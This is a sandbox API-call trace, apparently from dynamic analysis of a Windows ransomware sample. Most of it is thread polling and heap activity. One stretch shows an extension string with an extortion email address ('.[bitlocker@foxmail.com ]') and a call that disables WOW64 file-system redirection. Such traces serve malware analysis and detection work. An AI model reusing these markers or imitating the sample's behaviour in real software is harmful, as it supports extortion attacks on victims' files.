WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0156.185] GetTickCount () returned 0x113c053 [0156.185] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0156.384] GetTickCount () returned 0x113c11e [0156.384] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0156.538] GetTickCount () returned 0x113c1aa [0156.538] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0156.661] GetTickCount () returned 0x113c227 [0156.661] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0156.793] GetTickCount () returned 0x113c2a4 [0156.793] GetTickCount () returned 0x113c2a4 [0156.793] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0156.936] GetTickCount () returned 0x113c330 [0156.936] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.043] GetTickCount () returned 0x113c39e [0157.043] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.151] GetTickCount () returned 0x113c3fb [0157.151] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.267] GetTickCount () returned 0x113c478 [0157.267] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.370] GetTickCount () returned 0x113c4e5 [0157.370] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.482] GetTickCount () returned 0x113c543 [0157.482] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.610] GetTickCount () returned 0x113c5cf [0157.610] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.720] GetTickCount () returned 0x113c63c [0157.720] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.832] GetTickCount () returned 0x113c6aa [0157.832] GetTickCount () returned 0x113c6aa [0157.832] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0157.942] GetTickCount () returned 0x113c717 [0157.942] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0158.139] GetTickCount () returned 0x113c7d2 [0158.139] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0158.295] GetTickCount () returned 0x113c86e [0158.296] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0158.472] GetTickCount () returned 0x113c91a [0158.472] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0158.627] GetTickCount () returned 0x113c9a6 [0158.627] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0158.816] GetTickCount () returned 0x113ca61 [0158.816] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0158.983] GetTickCount () returned 0x113cafd [0158.983] GetTickCount () returned 0x113cafd [0158.983] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0159.160] GetTickCount () returned 0x113cba9 [0159.160] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0159.308] GetTickCount () returned 0x113cc45 [0159.308] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0159.633] GetTickCount () returned 0x113cd7d [0159.633] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0159.862] GetTickCount () returned 0x113ce67 [0159.862] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0160.066] GetTickCount () returned 0x113cf32 [0160.066] GetTickCount () returned 0x113cf32 [0160.066] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0160.339] GetTickCount () returned 0x113d03b [0160.339] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0160.545] GetTickCount () returned 0x113d106 [0160.546] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0160.763] GetTickCount () returned 0x113d1e0 [0160.763] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0160.926] GetTickCount () returned 0x113d27c [0160.926] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0161.089] GetTickCount () returned 0x113d318 [0161.089] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0161.294] GetTickCount () returned 0x113d3e3 [0161.294] GetTickCount () returned 0x113d3e3 [0161.294] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0161.560] GetTickCount () returned 0x113d4dc [0161.560] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0161.835] GetTickCount () returned 0x113d5e6 [0161.835] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0162.033] GetTickCount () returned 0x113d6b0 [0162.033] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0162.298] GetTickCount () returned 0x113d7aa [0162.298] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0162.564] GetTickCount () returned 0x113d8b3 [0162.564] GetTickCount () returned 0x113d8b3 [0162.565] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0162.716] GetTickCount () returned 0x113d940 [0162.716] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0163.071] GetTickCount () returned 0x113daa6 [0163.071] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0163.252] GetTickCount () returned 0x113db52 [0163.252] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0163.484] GetTickCount () returned 0x113dc3c [0163.484] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0163.689] GetTickCount () returned 0x113dcf7 [0163.689] GetTickCount () returned 0x113dcf7 [0163.689] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0163.916] GetTickCount () returned 0x113dde1 [0163.917] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0164.086] GetTickCount () returned 0x113de7d [0164.086] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0164.368] GetTickCount () returned 0x113df96 [0164.368] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0164.719] GetTickCount () returned 0x113e0de [0164.719] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0164.906] GetTickCount () returned 0x113e199 [0164.906] GetTickCount () returned 0x113e199 [0164.906] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0165.322] GetTickCount () returned 0x113e32e [0165.322] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0165.566] GetTickCount () returned 0x113e409 [0165.566] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0165.776] GetTickCount () returned 0x113e4e3 [0165.776] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0166.050] GetTickCount () returned 0x113e5ec [0166.050] GetTickCount () returned 0x113e5ec [0166.050] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0166.273] GetTickCount () returned 0x113e6c7 [0166.273] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0166.538] GetTickCount () returned 0x113e7c0 [0166.538] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0166.731] GetTickCount () returned 0x113e87c [0166.731] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0167.072] GetTickCount () returned 0x113e9d3 [0167.072] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0167.325] GetTickCount () returned 0x113eabd [0167.325] GetTickCount () returned 0x113eabd [0167.325] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0167.548] GetTickCount () returned 0x113eb97 [0167.548] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0167.758] GetTickCount () returned 0x113ec62 [0167.758] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0168.035] GetTickCount () returned 0x113ed6b [0168.035] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0168.191] GetTickCount () returned 0x113ee07 [0168.191] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0168.425] GetTickCount () returned 0x113eef1 [0168.425] GetTickCount () returned 0x113eef1 [0168.425] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0168.582] GetTickCount () returned 0x113ef7e [0168.582] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x0 [0168.935] GetTickCount () returned 0x113f0d5 [0168.935] Sleep (dwMilliseconds=0x64) [0169.078] GetTickCount () returned 0x113f161 [0169.078] Sleep (dwMilliseconds=0x64) [0169.217] GetTickCount () returned 0x113f1ee [0169.217] Sleep (dwMilliseconds=0x64) [0169.325] GetTickCount () returned 0x113f25b [0169.325] Sleep (dwMilliseconds=0x64) [0169.427] GetTickCount () returned 0x113f2c8 [0169.427] Sleep (dwMilliseconds=0x64) [0169.559] GetTickCount () returned 0x113f345 [0169.559] GetTickCount () returned 0x113f345 [0169.559] Sleep (dwMilliseconds=0x64) [0169.661] GetTickCount () returned 0x113f3a2 [0169.661] Sleep (dwMilliseconds=0x64) [0169.791] GetTickCount () returned 0x113f42f [0169.791] Sleep (dwMilliseconds=0x64) [0169.922] GetTickCount () returned 0x113f4ac [0169.922] Sleep (dwMilliseconds=0x64) [0170.022] GetTickCount () returned 0x113f509 [0170.022] Sleep (dwMilliseconds=0x64) [0170.145] GetTickCount () returned 0x113f586 [0170.145] Sleep (dwMilliseconds=0x64) [0170.276] GetTickCount () returned 0x113f612 [0170.276] Sleep (dwMilliseconds=0x64) [0170.409] GetTickCount () returned 0x113f68f [0170.409] Sleep (dwMilliseconds=0x64) [0170.547] GetTickCount () returned 0x113f71c [0170.547] Sleep (dwMilliseconds=0x64) [0170.700] GetTickCount () returned 0x113f7a8 [0170.700] GetTickCount () returned 0x113f7a8 [0170.700] Sleep (dwMilliseconds=0x64) [0170.833] GetTickCount () returned 0x113f834 [0170.833] Sleep (dwMilliseconds=0x64) [0170.973] GetTickCount () returned 0x113f8b1 [0170.973] Sleep (dwMilliseconds=0x64) [0171.107] GetTickCount () returned 0x113f93e [0171.107] Sleep (dwMilliseconds=0x64) [0171.262] GetTickCount () returned 0x113f9da [0171.262] Sleep (dwMilliseconds=0x64) [0171.395] GetTickCount () returned 0x113fa56 [0171.395] Sleep (dwMilliseconds=0x64) [0171.660] GetTickCount () returned 0x113fb50 [0171.660] Sleep (dwMilliseconds=0x64) [0172.026] GetTickCount () returned 0x113fcb7 [0172.026] GetTickCount () returned 0x113fcb7 [0172.026] Sleep (dwMilliseconds=0x64) [0172.248] GetTickCount () returned 0x113fd82 [0172.248] Sleep (dwMilliseconds=0x64) [0172.631] GetTickCount () returned 0x113fef8 [0172.631] Sleep (dwMilliseconds=0x64) [0172.858] GetTickCount () returned 0x113ffd2 [0172.858] Sleep (dwMilliseconds=0x64) [0173.023] GetTickCount () returned 0x114006e [0173.023] Sleep (dwMilliseconds=0x64) [0173.360] GetTickCount () returned 0x11401b6 [0173.360] GetTickCount () returned 0x11401b6 [0173.360] Sleep (dwMilliseconds=0x64) [0173.586] GetTickCount () returned 0x1140290 [0173.586] Sleep (dwMilliseconds=0x64) [0173.828] GetTickCount () returned 0x114037a [0173.828] Sleep (dwMilliseconds=0x64) [0174.095] GetTickCount () returned 0x1140474 [0174.095] Sleep (dwMilliseconds=0x64) [0174.487] GetTickCount () returned 0x11405ea [0174.487] GetTickCount () returned 0x11405ea [0174.487] Sleep (dwMilliseconds=0x64) [0174.770] GetTickCount () returned 0x1140703 [0174.770] Sleep (dwMilliseconds=0x64) [0174.953] GetTickCount () returned 0x11407af [0174.953] Sleep (dwMilliseconds=0x64) [0175.297] GetTickCount () returned 0x1140906 [0175.298] Sleep (dwMilliseconds=0x64) [0175.571] GetTickCount () returned 0x1140a0f [0175.571] GetTickCount () returned 0x1140a0f [0175.571] Sleep (dwMilliseconds=0x64) [0176.478] GetTickCount () returned 0x1140d79 [0176.478] Sleep (dwMilliseconds=0x64) [0176.730] GetTickCount () returned 0x1140e63 [0176.730] GetTickCount () returned 0x1140e63 [0176.730] Sleep (dwMilliseconds=0x64) [0177.137] GetTickCount () returned 0x1140ff8 [0177.137] Sleep (dwMilliseconds=0x64) [0177.533] GetTickCount () returned 0x114116f [0177.533] Sleep (dwMilliseconds=0x64) [0177.877] GetTickCount () returned 0x11412c6 [0177.877] GetTickCount () returned 0x11412c6 [0177.877] Sleep (dwMilliseconds=0x64) [0178.207] GetTickCount () returned 0x11413fe [0178.207] Sleep (dwMilliseconds=0x64) [0178.421] GetTickCount () returned 0x11414c9 [0178.421] Sleep (dwMilliseconds=0x64) [0178.884] GetTickCount () returned 0x114168d [0178.884] Sleep (dwMilliseconds=0x64) [0179.167] GetTickCount () returned 0x11417a6 [0179.167] GetTickCount () returned 0x11417a6 [0179.167] Sleep (dwMilliseconds=0x64) [0179.428] GetTickCount () returned 0x11418af [0179.428] Sleep (dwMilliseconds=0x64) [0179.861] GetTickCount () returned 0x1141a55 [0179.861] Sleep (dwMilliseconds=0x64) [0180.131] GetTickCount () returned 0x1141b5e [0180.131] Sleep (dwMilliseconds=0x64) [0180.463] GetTickCount () returned 0x1141ca5 [0180.464] GetTickCount () returned 0x1141ca5 [0180.464] Sleep (dwMilliseconds=0x64) [0180.875] GetTickCount () returned 0x1141e2b [0180.875] Sleep (dwMilliseconds=0x64) [0181.107] GetTickCount () returned 0x1141f15 [0181.107] Sleep (dwMilliseconds=0x64) [0181.366] GetTickCount () returned 0x114200f [0181.366] Sleep (dwMilliseconds=0x64) [0181.622] WaitForMultipleObjects (nCount=0x4, lpHandles=0x25eff64*=0x134, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0182.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x25f0020 | out: hHeap=0x630000) returned 1 [0182.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aeb40 | out: hHeap=0x630000) returned 1 [0182.141] lstrlenW (lpString=".wiki") returned 5 [0182.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afd50 | out: hHeap=0x630000) returned 1 [0182.141] lstrlenW (lpString=".[bitlocker@foxmail.com ]") returned 25 [0182.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666c60 | out: hHeap=0x630000) returned 1 [0182.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aea90 | out: hHeap=0x630000) returned 1 [0182.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afb58 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afb70 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afba0 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afbb8 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afb88 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afbd0 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aea80 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afc00 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afc18 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afc48 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aeac0 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aea70 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afc90 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aeab0 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afcc0 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aead0 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6afc30 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6659d8 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667e98 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66a148 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66b550 | out: hHeap=0x630000) returned 1 [0182.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68b488 | out: hHeap=0x630000) returned 1 [0182.142] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6afc30 [0182.142] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afc30, Size=0x20) returned 0x665ac8 [0182.142] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6afc30 [0182.142] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afc30, Size=0x20) returned 0x6659d8 [0182.142] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.143] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.143] Wow64DisableWow64FsRedirection (in: OldValue=0x25eff84 | out: OldValue=0x25eff84*=0x1) returned 1 [0182.143] lstrlenW (lpString="kernel32.dll") returned 12 [0182.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6659d8 | out: hHeap=0x630000) returned 1 [0182.143] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 Thread: id = 334 os_tid = 0x654 Thread: id = 335 os_tid = 0x650 [0147.477] GetTickCount () returned 0x1139fe8 [0147.477] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x24) returned 0x6a2c40 [0147.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6a2c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174 [0147.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6a2c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178 [0147.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6a2c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180 [0147.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6a2c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188 [0147.483] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0147.483] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681540, Size=0x20) returned 0x69e620 [0147.483] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0147.483] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681540, Size=0x20) returned 0x69e5f8 [0147.483] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.484] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.484] Wow64DisableWow64FsRedirection (in: OldValue=0x2beff84 | out: OldValue=0x2beff84*=0x0) returned 1 [0147.484] lstrlenW (lpString="kernel32.dll") returned 12 [0147.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e620 | out: hHeap=0x630000) returned 1 [0147.484] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e5f8 | out: hHeap=0x630000) returned 1 [0147.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6afd78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c [0147.484] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0147.656] GetTickCount () returned 0x113a0a3 [0147.656] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0147.906] GetTickCount () returned 0x113a18d [0147.910] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0148.116] GetTickCount () returned 0x113a258 [0148.116] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0148.305] GetTickCount () returned 0x113a313 [0148.305] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0148.464] GetTickCount () returned 0x113a3af [0148.474] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0148.703] GetTickCount () returned 0x113a499 [0148.703] GetTickCount () returned 0x113a499 [0148.703] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0148.962] GetTickCount () returned 0x113a593 [0148.962] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0149.073] GetTickCount () returned 0x113a600 [0149.073] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0149.265] GetTickCount () returned 0x113a6bb [0149.265] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0149.453] GetTickCount () returned 0x113a767 [0149.453] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0149.703] GetTickCount () returned 0x113a860 [0149.704] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0149.953] GetTickCount () returned 0x113a95a [0149.953] GetTickCount () returned 0x113a95a [0149.953] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0150.139] GetTickCount () returned 0x113aa15 [0150.139] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0150.469] GetTickCount () returned 0x113ab3e [0150.469] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0150.616] GetTickCount () returned 0x113abca [0150.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0150.756] GetTickCount () returned 0x113ac56 [0150.756] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0150.863] GetTickCount () returned 0x113acc4 [0150.863] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0150.987] GetTickCount () returned 0x113ad40 [0150.987] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0151.114] GetTickCount () returned 0x113adbd [0151.114] GetTickCount () returned 0x113adbd [0151.114] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0151.225] GetTickCount () returned 0x113ae1b [0151.225] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0151.355] GetTickCount () returned 0x113ae98 [0151.355] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0151.477] GetTickCount () returned 0x113af05 [0151.477] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0151.580] GetTickCount () returned 0x113af72 [0151.580] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0151.712] GetTickCount () returned 0x113afef [0151.712] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0152.039] GetTickCount () returned 0x113b09a [0152.039] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0152.207] GetTickCount () returned 0x113b136 [0152.207] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0152.348] GetTickCount () returned 0x113b1c3 [0152.348] GetTickCount () returned 0x113b1c3 [0152.348] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0152.513] GetTickCount () returned 0x113b24f [0152.513] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0152.663] GetTickCount () returned 0x113b2eb [0152.663] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0152.824] GetTickCount () returned 0x113b387 [0152.824] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0153.035] GetTickCount () returned 0x113b442 [0153.035] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0153.258] GetTickCount () returned 0x113b51d [0153.258] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0153.542] GetTickCount () returned 0x113b636 [0153.542] GetTickCount () returned 0x113b636 [0153.542] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0153.716] GetTickCount () returned 0x113b6d2 [0153.716] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0153.832] GetTickCount () returned 0x113b74e [0153.832] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0153.972] GetTickCount () returned 0x113b7cb [0153.972] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0154.084] GetTickCount () returned 0x113b848 [0154.084] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0154.191] GetTickCount () returned 0x113b8b5 [0154.191] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0154.318] GetTickCount () returned 0x113b932 [0154.318] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0154.426] GetTickCount () returned 0x113b99f [0154.426] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0154.605] GetTickCount () returned 0x113ba3b [0154.605] GetTickCount () returned 0x113ba3b [0154.605] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0154.792] GetTickCount () returned 0x113baf6 [0154.792] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0154.935] GetTickCount () returned 0x113bb83 [0154.935] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0155.102] GetTickCount () returned 0x113bc2e [0155.102] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0155.226] GetTickCount () returned 0x113bcab [0155.226] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0155.328] GetTickCount () returned 0x113bd09 [0155.328] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0155.455] GetTickCount () returned 0x113bd86 [0155.455] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0155.583] GetTickCount () returned 0x113be02 [0155.583] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0155.713] GetTickCount () returned 0x113be7f [0155.713] GetTickCount () returned 0x113be7f [0155.713] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0155.858] GetTickCount () returned 0x113bf0c [0155.858] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0155.964] GetTickCount () returned 0x113bf79 [0155.964] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0156.081] GetTickCount () returned 0x113bff6 [0156.081] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0156.185] GetTickCount () returned 0x113c053 [0156.185] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0156.383] GetTickCount () returned 0x113c11e [0156.384] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0156.538] GetTickCount () returned 0x113c1aa [0156.538] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0156.662] GetTickCount () returned 0x113c227 [0156.662] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x64) returned 0x102 [0156.793] GetTickCount () returned 0x113c2a4 [0156.793] GetTickCount () returned 0x113c2a4 [0156.793] WaitForSingleObject 